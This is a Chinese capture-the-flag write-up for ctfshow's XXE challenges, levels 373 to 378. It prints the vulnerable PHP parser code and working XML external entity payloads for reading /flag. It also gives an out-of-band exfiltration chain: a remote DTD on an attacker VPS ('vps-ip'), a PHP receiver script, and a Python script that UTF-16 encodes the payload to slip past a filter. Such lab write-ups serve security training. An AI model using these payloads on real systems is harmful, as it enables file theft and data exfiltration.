CTFSHOW XXE通关指南

第373关

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-07 12:59:52
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-07 13:36:47
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);      // 禁止加载外部实体
$xmlfile = file_get_contents('php://input');      
if(isset($xmlfile)){        // 判断是否有XML代码
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);     // 解析代码
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;       // 输出解析结果
}
highlight_file(__FILE__);  

 payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY cmd SYSTEM "file:///flag">
]>
<toxicant>
<ctfshow>&cmd;</ctfshow>
</toxicant>

第374-第376关:远程DTD

无回显的文件读取,禁用了版本号,问题不大不写版本号就是了

在vps构造这个文件,用于接收结果

<?php
$content = $_GET['1'];
if(isset($content)){
    file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{
    echo 'no data input';
}

构造xxe.xml文件

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://vps-ip/index.php?1=%file;'"
>
%all;

构造发送payload

扫描二维码关注公众号,回复: 15676712 查看本文章
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://vps-ip/xxe.xml">
%remote;
%send;
]>

查看服务器上的flag.txt即可 

第377关

多过滤了 http 头,利用 utf-16 编码

import requests
url = 'http://115ce4e9-eedd-4ea9-92e2-3c6acc513e7e.challenge.ctf.show/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://vps-ip/xxe.xml">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)

 在服务器上查看flag.txt文件

第378关

 抓个包看看

 进行文件读取,构造payload:

<!DOCTYPE XXE [
<!ENTITY cmd SYSTEM "file:///flag">
]>
<user><username>&cmd;</username>
</user>

总结

XXE漏洞跟SQL注入漏洞类似,语句的构造需要对XML语法有所了解,但也不需要了解过深,因为注入的语句基本上都是定式,记好几个模板就行了。

猜你喜欢

转载自blog.csdn.net/qq_61553520/article/details/130656112
今日推荐